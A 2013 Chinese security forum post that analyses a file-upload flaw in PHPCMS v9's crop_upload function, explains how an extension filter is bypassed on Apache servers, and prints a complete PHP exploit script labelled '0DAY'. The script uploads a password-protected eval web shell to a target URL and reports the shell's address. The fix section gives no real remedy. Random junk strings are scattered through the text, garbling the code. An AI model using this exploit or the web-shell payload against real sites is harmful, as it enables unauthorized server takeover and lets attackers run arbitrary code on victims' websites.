找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2196|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行( W% P% W: R" P
( N" X4 T( [9 t3 T9 o6 o
简要描述:; v; b3 Y+ {0 U, ^

; e! U& @# K$ hphpcms v9 getshell (apache)2 Z, ]; u8 t: O7 z; g. B5 o# G& t
详细说明:$ D+ _5 w; k& |8 T  x6 B; ]
  z1 |% `# y' V) X4 P6 c$ Z
漏洞文件:phpcms\modules\attachment\attachments.php$ v' p$ ?5 j+ }5 Z; {: a- w
: N9 a6 |1 k2 D1 K; [0 R
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } ) W2 l9 b8 K: U  v" ]9 m
后缀检测:phpcms\modules\attachment\functions\global.func.php% y5 U" Y* z& K* s
3 L, x7 ?$ Y/ d) Q% p) j% j0 d; B

: F! v; ^$ t" D6 U" S; P, D4 t
- w7 s6 N/ q, @# ^- ufunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  ) U# x9 g  W5 {

* Y% G& C* p7 e$ [* }关键函数:$ V- H0 }# ^4 }  D5 ?' G

9 }4 A* ?1 \3 A; p6 B 4 D7 x, y$ m/ |. {
& I/ ~$ p3 [2 N
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  * j9 l3 ?' H' |
+ S( T% l, y# b7 H4 w  [0 S, o
  Fileext函数是对文件后缀名的提取。* d* p& r6 u8 G- T4 s7 V5 k
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php2 y1 {' M8 v9 u0 P3 \
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
- X9 ~, [2 H0 A1 W' B0 h1 u我们回到public function crop_upload() 函数中/ s. u. m! z: D) q( C: X
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
; e1 M, T4 W1 b$ ]1 d在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
3 e1 w) ?( v( m; m# s8 h* j6 P* n+ `这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。0 e2 ]. x( M1 [3 j
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
. v4 ?2 B$ a. l7 Z! F+ {最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
% g: b8 z$ e3 E5 s看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。0 O0 M* w) e4 X
漏洞证明:
: U4 g9 @2 C' p7 h: E
: h8 h" Z  J- e! w8 _: v$ T$ |' Qexp:4 _3 Z1 }' ~3 G5 Z5 |8 f2 H

9 }5 ?" L2 ]7 f+ J<?php
6 b8 ]* ]! Q* f/ B4 E5 V. \! Jerror_reporting(E_ERROR);
/ j& d  Q5 v7 {. u4 m/ M4 d4 ~7 _set_time_limit(0);
* M1 |0 L) n( n7 t' I$pass="ln";; S, f3 q3 p9 ~' t
print_r('
# C+ n) s( e, Y8 S" a5 P- d. H+---------------------------------------------------------------------------++ j& d, p( j, b
PHPCms V9 GETSHELL 0DAY
7 R9 ]  t: W: z+ icode by L.N.- F! V0 k8 Z; h4 j

6 B& E+ w, `5 C" t' ^( I3 M7 t+ O% vapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
6 Y& P, t9 }( F2 r+---------------------------------------------------------------------------+
7 D2 V( d0 @. G% D$ Y. `! T');0 M# \: P# _! @# w2 I6 U
if ($argc < 2) {8 s: F0 g& ?* y* L3 o% w4 m
print_r('4 v, V5 k: C) d& Z
+---------------------------------------------------------------------------+3 ~% q. L4 e$ ^0 U: K: ^* H
Usage: php '.$argv[0].' url path4 U+ z9 v2 H  v% b4 z1 U, j
: _' ~7 O  C! |, `
Example:
# L- ]6 b5 ^5 q$ I9 Z) N6 b5 q# S1.php '.$argv[0].' lanu.sinaapp.com0 F  ]$ b4 H" n7 F5 D
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
* }9 S1 {' f" S6 b3 s+---------------------------------------------------------------------------+
4 }0 X( o( Y: h+ r3 u');% V+ c/ H6 e5 X4 V
exit;) Y; z- f' X" U
}( j" Q& n1 s8 @$ @
! K# e% Y' M/ P
$url = $argv[1];0 o) a8 J( @# k) w
$path = $argv[2];
: s. h$ R0 W3 a5 G$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 a3 Q% N( U/ S" y0 l& G% D! ]
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';0 `& S% V# Q0 }7 y. |: w
if($ret=Create_dir($url,$path))
( o2 R* t6 [" r! W4 @8 ^{
  o! F6 L. s! \3 i; Z; s//echo $ret;
, ^# X+ f* p" B) ]) t; p$pattern = "|Server:[^,]+?|U";
  D4 e* O: N* s+ @" d' Xpreg_match_all($pattern, $ret, $matches);: M1 ?( t8 V- i2 |
if($matches[0][0])
9 H- j7 a+ h* f6 O0 T% T- Q) F{
1 D1 H- _) ]3 x: J0 iif(strpos($matches[0][0],'Apache') == false)
7 M5 M5 ~1 o  ?2 h0 F9 S3 a{
6 B, t, b) P' _& X8 k  q  Pecho "\n亲!此网站不是apache的网站。\n";exit;
  D3 W2 G4 _, [# b, n3 h! x. B) u}1 l# C) @$ t, [( f  n: {4 t1 {
}
' s* Z7 s# u% n# l$ret = GetShell($url,$phpshell,$path,$file);0 ~. w8 K* D4 G  _5 }; n" Q. n
$pattern = "|http:\/\/[^,]+?\.,?|U";
( e* J8 p8 ~) T9 {; G' Bpreg_match_all($pattern, $ret, $matches);
* P  ^! ?- \" v, t; d+ M9 u6 ~7 Tif($matches[0][0])4 L  |  O# ~% [
{) p2 h  J0 U0 \; p+ t2 z
echo "\n".'密码为: '.$pass."\n";( K  ]9 F2 r$ j' P, g
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
. b9 r# z% R4 T0 Z$ ^  l# F# L9 h}+ R& z9 J; S  `& {
else# C3 v2 K5 N" O' f1 p
{
( u7 m  o" l/ _* M: X$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
* l, h8 c% B4 {preg_match_all($pattern, $ret, $matches);
5 D* {* n, d+ Y( n) V' c2 S3 jif($matches[0][0])
% M/ n' K; S2 ^* T; F7 M{/ C# t1 W& d  x8 S  ^
echo "\n".'密码为: '.$pass."\n";
# X9 ]7 h. Z# w% E$ S7 V( @' recho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
+ ^- W9 w  ^- A3 Y}
! j$ N  ?" T! X  {else/ O8 h. X3 @$ W+ n' B1 Y
{
7 S8 }8 `/ D6 R' }echo "\r\n没得到!\n";exit;
6 v/ o1 a/ C- [9 n}
+ y5 e7 E! O# y" p9 Y- {}9 w: f0 R0 L# O  n
}& V5 w8 L- h5 g
* v& a+ M$ e9 N, `5 z
function GetShell($url,$shell,$path,$js)+ j/ S3 l% {" t
{
% o4 }! t! E; ?  v( ]& b+ K$content =$shell;2 y3 U5 B4 d" y0 Z5 j8 w. e
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
; c$ B) ]  ~& M, W+ j$data .= "Host: ".$url."\r\n";; i! K% }  L9 B. N' H9 J, y% D7 b8 A
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
7 _; k! s7 U, C$ y; d4 P2 U: `0 Z" y* ~$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
, @) I+ J; ?' N- d5 {/ h5 k$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
: X. d- K0 m( T2 x$ K6 R$data .= "Connection: close\r\n";8 I4 l9 u2 j5 z. {) `; W* d! V: a8 o/ X
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
  f" F  `$ g; P$data .= $content."\r\n";3 \7 N5 t: f6 w; R
$ock=fsockopen($url,80);
" O3 ]# z  ^2 Fif (!$ock)7 R) f2 _& x- @0 O" c
{4 F4 l1 L+ h3 N# B" x; N# {
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- N2 E9 t. L2 {3 N: x* q- M}
0 C1 g, l( a4 {  T2 Oelse
  M& R& F( b7 W0 [{1 q' x/ s: v( ~# X* g& r
fwrite($ock,$data);+ D$ |  n8 t' ?1 s- w0 Q# i
$resp = '';
- k2 f( U: F6 [while (!feof($ock))
9 n% |' E8 t4 W7 Y3 Y) |! ?{# A" l% S! u$ N( }$ x' g
$resp.=fread($ock, 1024);9 v! e2 [; e2 l, ?0 E) Q
}  H9 `7 Q; ], w, k" @
return $resp;4 C+ l/ `) u+ {
}
" m: W+ j1 r% A. C/ |$ m, a" E}
$ k& u  I- G# |0 v: s3 ~
/ ?. l' _7 K% N$ Q: kfunction Create_dir($url,$path='')3 x& |& U) n9 z5 \3 L
{& w( C* k3 N3 V" e2 a, d" o* Z
$content ='I love you';5 s5 ^) |3 z8 y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";5 {" N1 A* K6 n% A9 V
$data .= "Host: ".$url."\r\n";
4 a5 ?$ O- ?- s9 O$ U$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";# V9 ]. U6 Y* _. X
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 Q6 o' k# [* Y( J' O% I
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";- X1 h8 B5 k. E: `7 Z3 I
$data .= "Connection: close\r\n";' Z" f7 I# {8 ~/ v5 d8 f. H& S5 W
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 r5 n. B* K7 {$ o) [4 y5 `( b$data .= $content."\r\n";
8 p. B1 x* ]  D$ock=fsockopen($url,80);
" `! i( y" S& U+ ^if (!$ock)
+ n6 Y$ `/ u8 S- u{) P1 V" T, c+ \, z9 O' F+ Q9 T
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
0 W! ^4 @1 z$ E9 a; J}
, k, M. F: `9 Y. C2 Gfwrite($ock,$data);, w6 ~7 B# O, T* H* Z9 v7 Q& r9 O
$resp = '';
2 m5 D- Z/ i0 s- _while (!feof($ock))
& T9 a" s) n7 `) y{
, @" D/ ^4 G1 {  l: Q+ ^) R$resp.=fread($ock, 1024);, ?6 H, f  ]5 u" g" q/ w* E8 F
}1 V2 a% [# I+ _/ m# k( a
return $resp;1 |/ u$ S6 J- b& s
}
1 Y/ s( R: u; f?>
. Q5 X6 ~& Z( k% g" S. T/ d* }5 ?0 z
0 N/ @$ y$ S  X8 i8 c  p修复方案:9 n; e, H! _8 k& U' L4 n  T

7 B" \' {+ v  I: I: H过滤过滤再过滤
9 \2 a. w; P" k7 h0 `) U9 L+ z% s: j+ T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表